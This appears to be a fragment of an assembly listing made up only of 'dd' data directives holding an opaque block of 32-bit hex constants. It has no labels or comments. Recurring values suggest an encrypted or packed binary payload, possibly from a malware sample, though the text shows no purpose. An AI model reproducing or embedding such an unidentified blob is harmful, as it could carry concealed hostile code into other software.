		dd 15664430h, 2E077C60h, 0B95268BFh, 0ACE28734h, 75664432h
		dd 1A36F8B9h, 156611B8h, 2E07D032h, 0B95639BFh,	0B4E22D34h
		dd 1A661132h, 15668EB7h, 4D312432h, 98077962h, 0A68C65AFh
		dd 0E6EDE834h, 156641DBh, 21295232h, 0EA075ED5h, 156161E1h
		dd 0E4D54432h, 0C0506AFAh, 0AD3641B8h, 7BB298D0h, 11420033h
		dd 0FAE77D6Ah, 7BB201D0h, 15669ADBh, 0AE8B3A32h, 0C974F11Bh
		dd 580A81F9h, 68CDABE6h, 1A8EDB29h, 156636B4h, 12D37132h
		dd 156683DBh, 6C90632h,	0D00C4660h, 6FF05B42h, 0A8E30153h
		dd 7560E82Bh, 9285A354h, 0DBE777E0h, 0FC07ED78h, 15665A38h
		dd 1577CB52h, 162D1132h, 7587B976h, 9DAA9B42h, 1A36BE90h
		dd 74B76A4Eh, 0FF1215BFh, 1A8F4281h, 94662232h,	0B82EF4DCh
		dd 0A3A587CFh, 9B559B0Fh, 0C699F28Eh, 46A19A52h, 4FA93F3Dh
		dd 5EB4B53h, 0FC662232h, 15661139h, 0B6C2205Bh,	0C5974F1Bh
		dd 96F4EB0Fh, 0B97F348Fh, 91698834h, 1566440Dh,	54E319CBh
		dd 1A60BD00h, 1566A8B6h, 1561AD32h, 190F2232h, 8BD548Bh
		dd 54E3B3D4h, 1A60E819h, 156638B7h, 9E697132h, 15668832h
		dd 0EB97AD53h, 9669DDCDh, 15661135h, 9507E852h,	2E077AD4h
		dd 0B979AFB7h, 73E31E34h, 0FC668832h, 15664435h, 55291E4Eh
		dd 96439D51h, 0B967E98Fh, 91694434h, 1566221Ch,	156600DBh
		dd 5AAD0132h, 0D703FFEBh, 3179BCF8h, 0B1EC503Bh, 0A8E569B7h
		dd 13CA61B7h, 3FE22D32h, 0FC661132h, 15668834h,	0BB486A9Ch
		dd 90EBA7EFh, 13D556D7h, 9C69DF52h, 15664432h, 0FC9F436Bh
		dd 0EA99EF49h, 739D0352h, 19CFAEB3h, 98E31953h,	1A60BD2Dh
		dd 0EA98EEB6h, 1DEE4BCDh, 1A662232h, 156613BCh,	9607E832h
		dd 0A6E8A98Fh, 90692334h, 15661163h, 1572073Dh,	1A8F4432h
		dd 0E6662232h, 18B5A3D4h, 675C9E1Ah, 88ACFF0Ah,	905DACA2h
		dd 13D59E13h, 154D0D3Dh, 1A064432h, 156624B7h, 15E61E32h
		dd 73668832h, 9807B6B9h, 4C6DC6B7h, 9369E832h, 15668835h
		dd 1A3D1452h, 0FC07D485h, 0EA99EF2Fh, 7599B9CAh, 0C1E681B8h
		dd 0A8E54300h, 13CA212Fh, 93E28732h, 1A66443Dh,	15663DB6h
		dd 0CEB1E32h, 0FC668832h, 15664426h, 8F0907h, 8406D9ABh
		dd 17968390h, 5B1FDBC0h, 3C702BE1h, 156E953Dh, 94068832h
		dd 96D240FCh, 905D4344h, 13D59E3Fh, 15240D3Dh, 1A064432h
		dd 156620BEh, 74859B32h, 3BDF0DB9h, 9569429Eh, 1566223Eh
		dd 1560933Dh, 98698832h, 15664432h, 314AA165h, 94694ECDh
		dd 15668826h, 15664BDBh, 0E3D43932h, 0A95DB0A7h, 5F0B76FDh
		dd 0F9D752F3h, 9A73A709h, 90691781h, 1566880Bh,	80E3CFC7h
		dd 1A608E2Dh, 156602B5h, 15686132h, 0E5964432h,	9822ADC3h
		dd 54FFED86h, 7554B08h,	0EADB11C7h, 3C99DDCDh, 1F8F4CDDh
		dd 57668832h, 0E682FB1Eh, 89393C9Ah, 4E32A4Dh, 1A603BBDh
		dd 15666FB7h, 90EDDB32h, 13CA08C7h, 15669CDBh, 5D482432h
		dd 98C05F1Eh, 0EADFE7BCh, 0E49D2EF1h, 286CBD12h, 14DB77F9h
		dd 14661132h, 0E09FD5DDh, 9A7FC109h, 90692481h,	15661110h
		dd 15670C3Dh, 9E9F4432h, 0B97F7FB7h, 0AC37E834h, 0EA9977CDh
		dd 1A3F8B1Bh, 156627B2h, 0DDE67132h, 905DE9D6h,	13D5CB2Fh
		dd 1549A73Dh, 1E8F1132h, 94668832h, 3DBEDF90h, 85F2B709h
		dd 90EDBB0Dh, 13CABD03h, 0DCE61252h, 0AB0078CAh, 4407B797h
		dd 1566898Bh, 4CA94532h, 0E2ED4452h, 34E32A53h,	1A603BBDh
		dd 15661FB7h, 48E4232h,	17661132h, 72F58C94h, 7827E6C5h
		dd 0C6637BD1h, 7CA83F3Ch, 15668FDBh, 61784B32h,	0F696306Dh
		dd 90ED706Bh, 13CA8027h, 156EAD52h, 0A11C2232h,	0D6C75C01h
		dd 47074A52h, 0EA99BB88h, 4FB10BCDh, 156602DBh,	0F7E00432h
		dd 0B0F1B7D3h, 323C8ABDh, 0FC9822FDh, 0B050D070h, 9A43C109h
		dd 90692481h, 1566110Bh, 1567063Dh, 9E9F4432h, 0B9579BB7h
		dd 1EF1E34h, 0FC668832h, 1566443Dh, 1480F206h, 8BC3812h
		dd 0A6D1F5DDh, 450C4E86h, 517D6C8Ah, 5DB6E67Eh,	517DD937h
		dd 4DA1457Eh, 3CE319CEh, 1A60A2BDh, 1566DDB7h, 156CAD32h
		dd 82EA2232h, 0B32E4926h, 894FD290h, 60E3CFCAh,	1A608E26h
		dd 15660ABDh, 0EC8732h,	0FC664432h, 15662222h, 8D954565h
		dd 46F3904Ah, 1C19D23Bh, 624F1528h, 1562FDB3h, 29EF8832h
		dd 3162BB16h, 156ACB6Dh, 0F76F1132h, 3DC3EE08h,	7655664Ch
		dd 905DD323h, 13D59E1Fh, 15370D3Dh, 68F4432h, 6E662232h
		dd 86465A39h, 0CE8A4431h, 31524A8h, 6E729AD1h, 90EDFF3Bh
		dd 13CABCE7h, 156656DBh, 0E3BBDB32h, 0AE1E10FCh, 9C7D5F38h
		dd 2DDC7AAAh, 4056E581h, 1566108Fh, 48898932h, 15664ADBh
		dd 202F4B32h, 33AF5807h, 0B57C40D1h, 2E5783A8h,	0A6E913B7h
		dd 29E31E34h, 75668832h, 0FCE3CF53h, 1A608E26h,	15661BB5h
		dd 9E00E832h, 0DDE722EBh, 92070011h, 0E25757C5h, 0E2577603h
		dd 1573C33Dh, 58F2232h,	39661132h, 40A21564h, 8AA65D0Dh
		dd 0F357A155h, 2E1B60A2h, 0A6E9B1B7h, 32E34B34h, 0FC662232h
		dd 15661134h, 0A8B45C44h, 90ED5127h, 13CA2463h,	156616DBh
		dd 2276432h, 6CE2D610h,	0EA999A62h, 0D24FEECDh,	905D7D6Ah
		dd 13D5CB07h, 1526A73Dh, 91691132h, 15668833h, 48DBC7CBh
		dd 15608E17h, 154A943Dh, 138F8832h, 3C664432h, 0F087BE3Bh
		dd 0A4E39AC3h, 0E0602406h, 4335FF61h, 0F6A705ABh, 0E6E75231h
		dd 0D653C554h, 1A3D9B1Bh, 156623B1h, 0A8E5ED32h, 13CA8887h
		dd 5AE24B32h, 75662232h, 0A2698581h, 905DE9C0h,	13D5CBF3h
		dd 155AA73Dh, 73061132h, 48F43B9h, 3F664432h, 4C838A4h
		dd 8C649024h, 149C812Dh
		dd 0F813FADEh, 40E3A953h, 0EC60BD37h, 53603567h, 0D8E725FBh
		dd 575839D4h, 0C891547Fh, 4A814DB3h, 0FA6727CDh, 0A8E5DA6Fh
		dd 13CA34E3h, 7DE28732h, 0FC664430h, 15662222h,	4444F562h
		dd 30CB68D9h, 0CFCA8AC9h, 0FF2A0970h, 3BF3ACB1h, 1A668E9Eh
		dd 156402B6h, 905DDA32h, 13D59E97h, 152B0D3Dh, 96694432h
		dd 15662226h, 15661EDBh, 0DEA55A32h, 72A2B37Bh,	0CCECF69Ch
		dd 88B1FDDAh, 4CE303CAh, 0ED60E825h, 1560A73Dh,	73061132h
		dd 74F9BC8Ch, 1567FC62h, 0D2672232h, 1577F86Ah,	0EE788832h
		dd 4D7CD4FBh, 0E7E7446Ch, 7EB791AEh, 2E85C460h,	0A6E9F1B7h
		dd 2EE32D34h, 0FC661132h, 1566883Eh, 0A34BF17Dh, 0E54509C5h
		dd 3FCA6F38h, 88E303CBh, 0FC60E81Bh, 15662235h,	9F3A6465h
		dd 469CDF43h, 0EA99BB89h, 4EB90BCDh, 156618DBh,	30F90632h
		dd 879483E7h, 905D5146h, 13D59E9Bh, 152B0D3Dh, 98694432h
		dd 1566222Bh, 156605DBh, 0D59D2F32h, 48C8EA13h,	3142AE86h
		dd 7E0A178Eh, 0F07F425Dh, 50E3CF4Bh, 0FC608E01h, 1566113Fh
		dd 5E1AF711h, 69BF4291h, 3C18F32Fh, 14DE412Ah, 14668832h
		dd 1D8F1CF5h, 62662232h, 900BAA13h, 2EB769E2h, 0A6E9FDB7h
		dd 2FE32D34h, 75661132h, 4C9D0362h, 79A9B5B3h, 9E070F1Dh
		dd 0B94458B7h, 15686134h, 0BE864432h, 0C895C5CAh, 43C8C8CAh
		dd 0C6635ADh, 0DB85C452h, 14DE7253h, 14661132h,	9269D0F5h
		dd 15664433h, 0A8E319C7h, 1A60A2BDh, 1566D2B7h,	1EE24B32h
		dd 0FC662232h, 15661134h, 0B7789D4Eh, 90EDBA90h, 13CA173Fh
		dd 1572F8C7h, 6E668832h, 0A8DF10A7h, 99B0AB8h, 5945C58h
		dd 0BC02408h, 0AC379A7Fh, 15662233h, 1A3FDE33h,	156685BBh
		dd 91692432h, 15662232h, 0D4AF0E88h, 7306E901h,	1A3EAA8Dh
		dd 156623BBh, 2E07E932h, 0A6E925B7h, 38E34B34h,	75662232h
		dd 596BAF54h, 90ED7453h, 13CA57EFh, 156633DBh, 0ABF00732h
		dd 5C1B294Dh, 20FB6533h, 530AB13h, 0AF34A62Ch, 15668833h
		dd 0EC3C9333h, 9AD7A709h, 90691781h, 15668869h,	3DD92252h
		dd 1AE22DD8h, 0FC661132h, 15668838h, 5D9DAB99h,	60527721h
		dd 9E070629h, 0B9431DB7h, 78D32434h, 156636DBh,	0EDCC2032h
		dd 0C4F0DBFEh, 4A75B93h, 52E7F755h, 6EDDF682h, 0AF34E9F4h
		dd 1A954DD9h, 5760C0F3h, 7BA49070h, 0E2560550h,	2594C5E0h
		dd 3C4B6DEFh, 96934BE5h, 0B9481D8Fh, 91694434h,	15662B23h
		dd 156E903Dh, 45068832h, 7CD9226Ah, 905D43C5h, 13D59E0Fh
		dd 15550D3Dh, 0E99A4432h, 33E7A7B9h, 48F179Eh, 0D8668832h
		dd 0A4E8CA67h, 61D10A46h, 284C534h, 2FA686FFh, 1567FA64h
		dd 0E2672232h, 1561F86Ch, 4D898832h, 0F9C9912Fh, 0C4E3191Eh
		dd 1A60A2BDh, 1566B8B7h, 128F2432h, 46662232h, 0A37BFA3Eh
		dd 9E07D9D5h, 0B96CD1B7h, 14EB2D34h, 0E9661132h, 0EA993567h
		dd 0FA4FBBCDh, 9B69426Fh, 15661130h, 0C2ED5BB9h, 54E37F53h
		dd 1A6091BDh, 15663DB7h, 90ED7132h, 13CA5447h, 156627DBh
		dd 47C88C32h, 0AC3771C3h, 15664433h, 1A3FED33h,	15661DB5h
		dd 15616132h, 10844432h, 0D709115Ch, 50E32ACEh,	1A603BBDh
		dd 156662B7h, 90EDDA32h, 13CA0313h, 156A0B3Dh, 9D694432h
		dd 15662234h, 15669D3Dh, 0A8338832h, 0EA99BBCDh, 753BCD1Bh
		dd 2E07DFB9h, 0A6E9C1B7h, 75E34B34h, 0EC662232h, 15639E3Dh
		dd 75068832h, 9E07B153h, 0B969C7B7h, 13E21E34h,	75668832h
		dd 4D3691B8h, 0FCDE7253h, 307FEA0Ch, 275FCBAFh,	262D0307h
		dd 1D86E37Fh, 0D46EF9F3h, 874B8FDAh, 14664426h,	9B697AF5h
		dd 1566113Eh, 1560013Dh, 92694432h, 15662232h, 156F9F3Dh
		dd 0AE068832h, 68DA5FA9h, 2E075285h, 0A6E95CB7h, 4FE38734h
		dd 75664432h, 0D9FBCAB3h, 138E0473h, 6B668832h,	6EA76D9Bh
		dd 0B6BFA396h, 4C00604Eh, 48DB0B53h, 1560E817h,	1555A73Dh
		dd 73061132h, 0C54452B3h, 1563CE3Dh, 94002232h,	745DEBEAh
		dd 0FBD13652h, 9E007143h, 90ED43F1h, 13CA102Bh,	14DCDAC7h
		dd 14664432h, 946978E5h, 15661133h, 44E3B3C7h, 1A60F7BDh
		dd 15660BB7h, 14E71E32h, 0EC668832h, 1567CF3Dh,	9E932232h
		dd 0B9768CB7h, 0A8337434h, 0EA99BBCDh, 753BCD1Bh, 9869E952h
		dd 15668832h, 905D2553h, 13D5AD67h, 1505943Dh, 0A7068832h
		dd 18F256Ch, 72662232h,	18F73451h, 1766883Ch, 0E1A3B250h
		dd 49DFF79Dh, 96FACBDCh, 0B943D58Fh, 90694434h,	1566220Bh
		dd 156E903Dh, 9D698832h, 15664430h, 90ED4352h, 13CA20ABh
		dd 1563073Dh, 73064432h, 4307EDB9h, 1566108Ch, 4B918932h
		dd 156648DBh, 5EABA032h, 1FAE62A0h, 5E10A614h, 4CE37FDFh
		dd 1A6091BDh, 156637B7h, 0E3D1E832h, 58E3CF53h,	1A608E14h
		dd 15661DBBh, 13E88732h, 1A664432h, 156622BBh, 54A99632h
		dd 4C39D965h, 2E07BC52h, 0A6E97FB7h, 7E31E34h, 0E0668832h
		dd 2467C1B9h, 459A249Eh, 0EA99EE8Ah, 4DA1A1CDh,	70E37FCEh
		dd 1A6091BDh, 156623B7h, 14ED8732h, 0E0664432h,	9E00DE52h
		dd 0A8E570E2h, 13CAAD6Fh, 0DE34B32h, 0EC662232h, 0C0B94B9h
		dd 469E8E9Eh, 0EA99BB89h, 4EB90BCDh, 1567903Dh,	2E9A8832h
		dd 0A6E925B7h, 43E32D34h, 0FC661132h, 15668839h, 141AF911h
		dd 349D542Ch, 96793B65h, 0B943D58Fh, 90694434h,	1566220Bh
		dd 0E39ACEh, 1A602413h,	156654BCh, 9E004232h, 1560F8E4h
		dd 46258832h, 31B7072Dh, 1DED2D53h, 1A661132h, 15668ABEh
		dd 42072432h, 9E4226CDh, 0D1E7350Eh, 15668836h,	7CE37FCEh
		dd 1A6091BDh, 15665FB7h, 15756132h, 0DFB24432h,	0D8F169C2h
		dd 0DAA527BCh, 706691CDh, 0C0E21CBh, 0E3A9D9h, 7560BD1Bh
		dd 15669ADAh, 0D8F01332h, 0FFC5EDA5h, 5063F24Bh, 0D4FEDAADh
		dd 73347166h, 0E1FDE5B3h, 0DA6916Dh, 14DED853h,	14664432h
		dd 0EC067AF5h, 2E075E81h, 0A6E9E5B7h, 33E34B34h, 0FC662232h
		dd 15661122h, 3087D448h, 2FB5F595h, 29F88B3Fh, 0EC9A8523h
		dd 1D5B0DB9h, 479A429Eh, 15662388h, 4FB11032h, 64E3B3C7h
		dd 1A60F7BDh, 15661DB7h, 90EDE832h, 13CA989Bh, 0A7D82252h
		dd 0A8334359h, 33CA51F4h, 7B776DB3h, 0F0A7630Bh, 0EA8BA331h
		dd 145750CDh, 138FD5DDh, 0E2664432h, 9639498Eh,	1CEC1E5Bh
		dd 75668832h, 33A59FB3h, 749A7635h, 9A139409h, 90698E81h
		dd 1566442Dh, 0D0E3A9CEh, 1A60BD2Eh, 156680B9h,	0E6E72432h
		dd 79671D49h, 11E74653h, 15668916h, 2E9A1B32h, 0A6E95BB7h
		dd 95E31E34h, 0FC668832h, 15664422h, 741378D4h,	2E75F700h
		dd 0DAB2C1A4h, 0A9300934h, 19FFA7B9h, 0FD06179Eh, 15668821h
		dd 0C9EA687Bh, 5879DF0Fh, 673E1F67h, 0BBABBFACh, 7319C1F0h
		dd 7FFAE3B3h, 58F706Dh,	74668832h, 0D7AE5F4Ah, 0FF94ADBDh
		dd 6F468DA0h, 43413301h, 0EA99BB8Ch, 4B910BCDh,	156A9A3Dh
		dd 128F8832h, 39664432h, 0DBA6C02Dh, 58F36D9h, 0C6668832h
		dd 737B1F06h, 881B2F74h, 0F219C58Bh, 2ED51BE2h,	0A6E939B7h
		dd 33E32D34h, 0ED661132h, 3C6F0DB9h, 9F69429Eh,	15662235h
		dd 15679C3Dh, 45938832h, 1566458Ah, 4DA12332h, 15659E3Dh
		dd 0E9068832h, 94E37F53h, 1A6091BDh, 15665AB7h,	0AA69E832h
		dd 0A046FCCAh, 9E0729A5h, 0B963D4B7h, 156B6134h, 78F84432h
		dd 2BECA1D8h, 0F1A14686h, 0FCEC3149h, 1566443Bh, 0F58BF7D9h
		dd 0DFAC672Dh, 0EADCDAA4h
		dd 3C99BBCDh, 0FC0678E5h, 15661134h, 0D1F8C927h, 0E006D6AEh
		dd 74070D86h, 9AE39409h, 90698E81h, 15664473h, 156FA43Dh
		dd 73061132h, 3777FB3h,	9E07B7B9h, 0B963D7B7h, 1CE31E34h
		dd 75668832h, 0D6BE9CB3h, 749E7493h, 0EA99AC67h, 0FA4F77CDh
		dd 1BE24B6Fh, 75662232h, 31ECDBB3h, 9A69D4FBh, 15664432h
		dd 0D8E31953h, 1A60BD16h, 1566C3B7h, 90EDBC32h,	13CA0AC7h
		dd 0AA69E452h, 9569E9EAh, 15664424h, 156633DBh,	41E2AE32h
		dd 1A1BBFFCh, 0D75A0571h, 1A6DCD49h, 0AB30BE33h, 15668833h
		dd 7538B333h, 3A5A354h,	9A6970FEh, 1566883Eh, 1560CE3Dh
		dd 9A692232h, 15661132h, 9AEF0D09h, 90694281h, 15662205h
		dd 54E39ACBh, 0ED60241Bh, 9ED51252h, 0C4D12D6Ch, 0EADF4053h
		dd 3C9977CDh, 188F1DFDh, 38662232h, 7A7E2379h, 9656ED23h
		dd 0D9D1343Ah, 156624DBh, 0C3B57C32h, 2EC0178Bh, 0A6E981B7h
		dd 49E32D34h, 0EC661132h, 1569013Dh, 1F8F4432h,	0A662232h
		dd 7910B8E7h, 0D74A9FC9h, 0D8DBC739h, 156091BDh, 154E943Dh
		dd 0FC9F8832h, 1566443Ch, 62BADC6Eh, 0C8839402h, 0F625D978h
		dd 0A8E52865h, 13CA3B17h, 0DE21E32h, 1A668832h,	156645BBh
		dd 90EDDA32h, 13CA1A17h, 0EADBDDCBh, 3C99BBCDh,	2E9E7FDDh
		dd 0A6E9D8B7h, 53E38734h, 1A664432h, 156633BCh,	1EE61E32h
		dd 0FC668832h, 15664434h, 0BE166EABh, 0A8E5EFDAh, 13D507FFh
		dd 1AE34B32h, 0E9662232h, 0C43ACB1h, 1A668E9Eh,	156650B6h
		dd 90EDD732h, 13CA117Fh, 0EADBDDC7h, 3C99BBCDh,	0E9067FDDh
		dd 98E32A53h, 1A603BBDh, 156678B7h, 0FC9A4232h,	1566113Ch
		dd 0E18D2D89h, 2333E157h, 62E747AAh, 9E075A0Dh,	0B968A1B7h
		dd 0D5E72434h, 4CBDB845h, 4607DAB9h, 5C7E6B89h,	995C57Eh
		dd 3CD594D5h, 9F694AEDh, 15668833h, 84E37FC7h, 1A6091BDh
		dd 15665CB7h, 9400E832h, 744DC6C5h, 7BDC4452h, 74B19AAAh
		dd 4C70DB9h, 1A06429Eh,	156621BEh, 0C3ED7732h, 74910354h
		dd 178AFE60h, 0C7911595h, 1B12FBB3h, 0F7A7C35Fh, 0F7A70631h
		dd 0F4A4A337h, 14720052h, 1A06D2E5h, 156644B6h,	0ECD94432h
		dd 905D7075h, 13D507A7h, 1525C13Dh, 48F2232h, 0EA661132h
		dd 0CBBE09BEh, 0E9422006h, 8782A2DBh, 45F0B1F4h, 0EEF0DB9h
		dd 429A429Eh, 9E4226CDh, 0D1E7350Eh, 15668836h,	1575C73Dh
		dd 9D692232h, 1566113Fh, 156680DBh, 0ECCC8C32h,	616A0C6Eh
		dd 8CE32A37h, 1A603BBDh, 156675B7h, 0EEED4232h,	90ED70C7h
		dd 13CAAE33h, 156FADC7h, 56782232h, 0D26E1174h,	46BB053Dh
		dd 15664589h, 4EB92332h, 156618DBh, 0A4E12132h,	0C122FC01h
		dd 905D2A6Ah, 13D59EAFh, 151C0D3Dh, 1A8F4432h, 0EB662232h
		dd 515B3C00h, 992C6E89h, 371BD450h, 108F2402h, 0D661132h
		dd 59526EAFh, 3ACFC1B9h, 1A06249Eh, 9400E78Dh, 74D31FD8h
		dd 4042F967h, 0F0A7310Dh, 1183D030h, 158B097Fh,	3CA9917Bh
		dd 0FD067FDDh, 15661126h, 759F2ED3h, 0B301BAAh,	9F74EB8Fh
		dd 60998AE5h, 931BC446h, 156655DAh, 612F5432h, 0B1B02592h
		dd 136A08B3h, 0DE027D0Eh, 4E3EC2AAh, 74BF9A54h,	9AC70D09h
		dd 90694281h, 15662273h, 188F71CBh, 6D668832h, 857FEB3Ah
		dd 0EE6EE6F8h, 2EADF4B1h, 156698DBh, 512D5B32h,	8FA03E0Bh
		dd 11153F5Fh, 8CDCD13Ch, 90ED25D5h, 13CA04B3h, 0AE00ED52h
		dd 2407E971h, 249875C5h, 0E2E164C5h, 1A991ACBh,	1566A7B6h
		dd 1EE34B32h, 0FC662232h, 15661134h, 0C06BA6ADh, 778F66ADh
		dd 0FC99DDDCh, 15661126h, 31F65B55h, 61A77C6Ah,	3E322D8Ah
		dd 0C636C19Ch, 4BF68599h, 15B7C109h, 9069249Eh,	1566111Eh
		dd 156685DBh, 0C0490F32h, 1B4A810Bh, 860DB1A3h,	90EB6F8Eh
		dd 13D55FF9h, 0FB79CBCAh, 9669EECDh, 15668835h,	1567C13Dh
		dd 0ED9A2232h, 174F9409h, 90698E9Eh, 15664466h,	156632DBh
		dd 8D233532h, 0E75C1E38h, 168CA9D5h, 755D97E7h,	0F8DB92F8h
		dd 14603BBCh, 1554C13Dh, 97692232h, 1566113Fh, 156680DBh
		dd 0F662B232h, 0F2E9E54h, 72E39C12h, 0FC66D139h, 1566443Ch
		dd 0C7596A75h, 36A4C594h, 0D0AA024Bh, 0A78F4B50h, 0ED99DDDFh
		dd 9B9B9409h, 91698E81h, 15664428h, 1561CBCAh, 46961132h
		dd 5F3C0508h, 14E37F7Ah, 1A6091BDh, 15661FB7h, 938F7132h
		dd 1A99BBDFh, 156623BEh, 479EE432h, 15668888h, 4F381632h
		dd 1574AB3Dh, 0FC061132h, 15668838h, 43B15B35h,	0DEBF5DD4h
		dd 749E054Dh, 1A6776B1h, 1566E1B7h, 905DDA32h, 13D59FC3h
		dd 15530D3Dh, 9C694432h, 15662233h, 0D1E39CCBh,	1A66D0B5h
		dd 156645BFh, 3B8FDA32h, 7599EEDFh, 0BFCD598Dh,	46B7C56Eh
		dd 747B28B6h, 11E61E52h, 73668832h, 95E17C8Ch, 2E0757DFh
		dd 0A6E8E4B7h, 24E38734h, 0FC664432h, 15662234h, 0C060B6E6h
		dd 90EB4A68h, 153ECC08h, 0EAD12D52h, 156601DBh,	0CC72EE32h
		dd 87500BB0h, 3131342h,	9BD806FFh, 0C38FE953h, 0E099BBDEh
		dd 9B9FA709h, 90691781h, 15668828h, 6AE3C9CEh, 75667ABAh
		dd 0F1E7AF54h, 15660A3Dh, 0FC074432h, 0EA99CE83h, 0F9E5E9C7h
		dd 31620136h, 7D35B86Ah, 11A508B3h, 96420DB9h, 0FEA78CF6h
		dd 4795C531h, 9C66BA57h, 1E934AECh, 31E387C4h, 1A664432h
		dd 156625BCh, 0AA697132h, 7407E8E3h, 0EA8A16DBh, 156BCBCDh
		dd 0C8C51132h, 0EF1838DAh, 0B66C8E2h, 402FC295h, 0FBEFD4BBh
		dd 9442A4B9h, 156640F6h, 1EE32D32h, 0FC661132h,	15668834h
		dd 0B19B8475h, 0A0EF6494h, 13CA008Bh, 15669ADBh, 39AA8732h
		dd 0C4918E93h, 294E9222h, 5BED1949h, 9C79FBFFh,	0B96E8F87h
		dd 94007134h, 1AC8FFE9h, 15664BB2h, 156CCB32h, 418D1132h
		dd 1B7D0E95h, 0E9C92174h, 0FC58A253h, 1440943Dh, 0FC068832h
		dd 1566443Ch, 62EBFB5Bh, 23986769h, 3998A441h, 1C8F5169h
		dd 30662232h, 0E759391Eh, 0CD829E08h, 14DF1553h, 14662232h
		dd 4A57EEC3h, 7EE876Bh,	0FC664432h, 1566223Fh, 5744F6C3h
		dd 50DD7111h, 0A59EF87h, 0DCA1A3ADh, 9409853Bh,	0F80494DDh
		dd 94914520h, 0F8043EF5h, 0DC899020h, 0ED091C3Bh, 3162C564h
		dd 549D6913h, 0D9DC4369h, 941C537Eh, 282C0FF0h,	0E38CA32Dh
		dd 3C3E0C79h, 68FD2E1h,	53664432h, 587619B7h, 0AF7A7C82h
		dd 6E5F35FCh, 0A7B2D2CEh, 0AA310CDBh, 7070573Eh, 30A74FB3h
		dd 94211C34h, 5742FFDh,	0D2E75E4Bh, 776A849Bh, 5D11ABB3h
		dd 0EE677D1Ah, 0AA69716Dh, 156D60C8h, 0DB8C4432h, 0C825E9DFh
		dd 0F38255FAh, 0EFEDEE5Fh, 0A85D2569h, 13CA338Bh, 1553933Dh
		dd 68F8832h, 4D664432h,	5E439F10h, 3AEC0B98h, 0F6F7ABE8h
		dd 8710136Fh, 0EE5D7A82h, 1540973Dh, 58F8832h, 0FD664432h
		dd 0A01C9BCh, 9867EC45h, 0BF75EF1Dh, 0FC102920h, 0EA99C88Dh
		dd 156617DBh, 91ACD832h, 0E0524D43h, 3D2B9FB9h,	128F179Eh
		dd 0A0668832h, 0F1D96870h, 90A18AC1h, 13CA11B7h, 15668832h
		dd 156AC93Dh, 9D692232h, 15661134h, 1566093Dh, 0FC064432h
		dd 1566223Bh, 0F885F0C0h, 6D3266FCh, 0B8D3CDA6h, 0E0608E3Ah
		dd 58A8CBFh, 73068E86h,	0D6E6BCB9h, 0C6994398h,	7619AB52h
		dd 9400DE4Bh, 74097CDAh, 9169E239h, 1566111Fh, 156687DBh
		dd 229D0832h, 5AF4ED12h, 48280AF4h, 0F10510A6h,	1566EBDBh
		dd 9E69DA32h, 1566113Fh, 156680DBh, 5473C532h, 87FAE6ACh
		dd 5FB9C7Ch, 0FC6039B1h
		dd 15664422h, 0A4073064h, 792464F7h, 32ADA915h,	27E2D9A4h
		dd 17E12D52h, 9E661132h, 0C699E9F8h, 0EA1DC73Dh, 48FDDCDh
		dd 1B661132h, 0BEBA7AF3h, 0DAC69116h, 35022220h, 0F3364C80h
		dd 1DCB3DB9h, 9C9F429Eh, 0B966A787h, 1575F834h,	14E88832h
		dd 1D60640Ah, 9EB9272Fh, 0AB93AF5Eh, 892DBFEEh,	0C1FBC999h
		dd 0FC60909Bh, 15661126h, 0D629DDE6h, 0BFB8D244h, 0F2DB660Dh
		dd 0C29C1E0Ch, 0A42FC5F9h, 966997CDh, 1566223Eh, 156616DBh
		dd 1B92F632h, 3E2909FBh, 4DFA7B9h, 9369179Eh, 15668824h
		dd 5EDC2252h, 156CCA8Bh, 2DFF1132h, 0AA18673Ah,	0C6C7F934h
		dd 90EF4368h, 13CA199Fh, 959FE9CEh, 9069AC0Ch, 156622D8h
		dd 15679B3Dh, 96938832h, 0B956CD8Fh, 91692234h,	156611E4h
		dd 0A0DDEE52h, 1577ACB1h, 95562232h, 62784117h,	75B82400h
		dd 4D2DA765h, 1AC1F47Bh, 156611BFh, 4607D332h, 0D698AF81h
		dd 9D63D1B2h, 317A9AEAh, 75624CB1h, 94349AB9h, 2801F0D0h
		dd 0BF07490Ah, 118A09CBh, 9C664432h, 0E6EF062Eh, 0ED3DC9BBh
		dd 156687DBh, 0E12E8232h, 1C57FED2h, 9D6B22C6h,	0BACF34CFh
		dd 0A267461Fh, 30C70F05h, 0ED4F7EBCh, 9B432937h, 1464415Dh
		dd 99691585h, 15661126h, 156687DBh, 9070B932h, 7FEBE879h
		dd 0EDAD9566h, 0C3435EB5h, 1562A8B3h, 19EF2232h, 1562A816h
		dd 0DD4F8832h, 14EB4B6Bh, 0ED662232h, 4E01E99h,	0FC668832h
		dd 1566443Eh, 0D927D119h, 2B05BB78h, 0F19431E1h, 156406DBh
		dd 12E62D32h, 75661132h, 0C7E642B9h, 88EB252Eh,	13D5D48Ah
		dd 75B5EECBh, 1563003Dh, 94004432h, 430781D2h, 743CE5B8h
		dd 1EA915BFh, 9B694286h, 15662235h, 73BBA352h, 0EA0757B9h
		dd 19E94BE1h, 1A662232h, 156617BEh, 15ED8732h, 1E664432h
		dd 57E32DF2h, 1A661132h, 1566A8BFh, 1F8F2432h, 0B662232h
		dd 1312A80h, 3C7C6BAAh,	156CAD6Eh, 0C0152232h, 0EA995497h
		dd 0CB66C4FBh, 218FBD53h, 0FC662232h, 15661123h, 4CAB107Ch
		dd 7C7CE7CDh, 2C69F1C6h, 934A4A77h, 0B8E30BB0h,	1060E83Ah
		dd 0C3ED4452h, 74BFAE3Dh, 0EA98E6DBh, 0AB0024CDh, 0AF003DDAh
		dd 9807577Ch, 0A16B7AAFh, 156BAD34h, 0D6F32232h, 71B1ACC6h
		dd 65A27AEBh, 0EAC90D01h, 9E0042E1h, 16EC1EFDh,	1A668832h
		dd 1E07B485h, 32E32DF2h, 75661132h, 15669CDBh, 2E14CB32h
		dd 0CC4E25h, 0C1703B6Eh, 83623300h, 8FD7B83Eh, 268F43CCh
		dd 1A661132h, 156689BFh, 0CD0EB832h, 9C662219h,	11DB351Eh
		dd 14668832h, 730619D8h, 1B40CCB3h, 15659D3Dh, 0A2698832h
		dd 58F25FAh, 75662233h,	32F9118Bh, 88EBE977h, 13D7C722h
		dd 156FA73Dh, 75061132h, 0E7E7EE53h, 0EA07D205h, 21E52DE1h
		dd 75661132h, 6C9E7E88h, 0A0ED252Ch, 13CA2A9Fh,	94007152h
		dd 0E97AEEE3h, 0E196C453h, 382DCB53h, 9C691132h, 1566883Dh
		dd 15664EDBh, 2B3B6A32h, 5A13A197h, 9E644551h, 0B96EE9BFh
		dd 1576CB34h, 0AFAB1132h, 0A413A287h, 234B7183h, 0A8454492h
